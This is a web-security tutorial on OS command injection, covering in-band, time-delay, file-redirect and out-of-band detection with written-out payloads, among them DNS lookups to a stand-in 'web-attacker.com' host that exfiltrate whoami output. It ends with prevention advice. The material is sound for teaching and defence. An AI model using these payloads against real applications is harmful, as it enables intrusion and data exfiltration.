**What is OS command injection?**

OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data. Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, and exploit trust relationships to pivot the attack to other systems within the organization.

**Injecting OS commands**

In this example, a shopping application lets the user view whether an item is in stock in a particular store. This information is accessed via a URL:

https://example.com/stockStatus?productID=381&storeID=29

To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments:

stockreport.pl 381 29

This command outputs the stock status for the specified item, which is returned to the user.

The application implements no defenses against OS command injection, so an attacker can submit the following input to execute an arbitrary command:

& echo aiwefwlguh &

If this input is submitted in the productID parameter, the command executed by the application is:

stockreport.pl & echo aiwefwlguh & 29

The echo command causes the supplied string to be echoed in the output. This is a useful way to test for some types of OS command injection. The & character is a shell command separator. In this example, it causes three separate commands to execute, one after another. The output returned to the user is:

Error - productID was not provided

aiwefwlguh

29: command not found

The three lines of output demonstrate that:

* The original stockreport.pl command was executed without its expected arguments, and so returned an error message.
* The injected echo command was executed, and the supplied string was echoed in the output.
* The original argument 29 was executed as a command, which caused an error.

Placing the additional command separator & after the injected command is useful because it separates the injected command from whatever follows the injection point. This reduces the chance that what follows will prevent the injected command from executing.

**Useful commands**

After you identify an OS command injection vulnerability, it's useful to execute some initial commands to obtain information about the system. Below is a summary of some commands that are useful on Linux and Windows platforms:

|  |  |  |
| --- | --- | --- |
| **Purpose of command** | **Linux** | **Windows** |
| Name of current user | whoami | whoami |
| Operating system | uname -a | ver |
| Network configuration | ifconfig | ipconfig /all |
| Network connections | netstat -an | netstat -an |
| Running processes | ps -ef | tasklist |

**Blind OS command injection vulnerabilities**

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required.

As an example, imagine a website that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

The output from the mail command (if any) is not returned in the application's responses, so using the echo payload won't work. In this situation, you can use a variety of other techniques to detect and exploit a vulnerability.

**Detecting blind OS command injection using time delays**

You can use an injected command to trigger a time delay, enabling you to confirm that the command was executed based on the time that the application takes to respond. The ping command is a good way to do this, because lets you specify the number of ICMP packets to send. This enables you to control the time taken for the command to run:

& ping -c 10 127.0.0.1 &

This command causes the application to ping its loopback network adapter for 10 seconds.

**Exploiting blind OS command injection by redirecting output**

You can redirect the output from the injected command into a file within the web root that you can then retrieve using the browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:

& whoami > /var/www/static/whoami.txt &

The > character sends the output from the whoami command to the specified file. You can then use the browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.

**Exploiting blind OS command injection using out-of-band (OAST) techniques**

You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:

& nslookup kgji2ohoyw.web-attacker.com &

This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor to see if the lookup happens, to confirm if the command was successfully injected.

The out-of-band channel provides an easy way to exfiltrate the output from injected commands:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

This causes a DNS lookup to the attacker's domain containing the result of the whoami command:

wwwuser.kgji2ohoyw.web-attacker.com

**Ways of injecting OS commands**

You can use a number of shell metacharacters to perform OS command injection attacks.

A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:

* &
* &&
* |
* ||

The following command separators work only on Unix-based systems:

* ;
* Newline (0x0a or \n)

On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:

* `injected command `
* $(injected command )

The different shell metacharacters have subtly different behaviors that might change whether they work in certain situations. This could impact whether they allow in-band retrieval of command output or are useful only for blind exploitation.

Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using " or ') before using suitable shell metacharacters to inject a new command.

**How to prevent OS command injection attacks**

The most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In almost all cases, there are different ways to implement the required functionality using safer platform APIs.

If you have to call out to OS commands with user-supplied input, then you must perform strong input validation. Some examples of effective validation include:

* Validating against a whitelist of permitted values.
* Validating that the input is a number.
* Validating that the input contains only alphanumeric characters, no other syntax or whitespace.

Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker.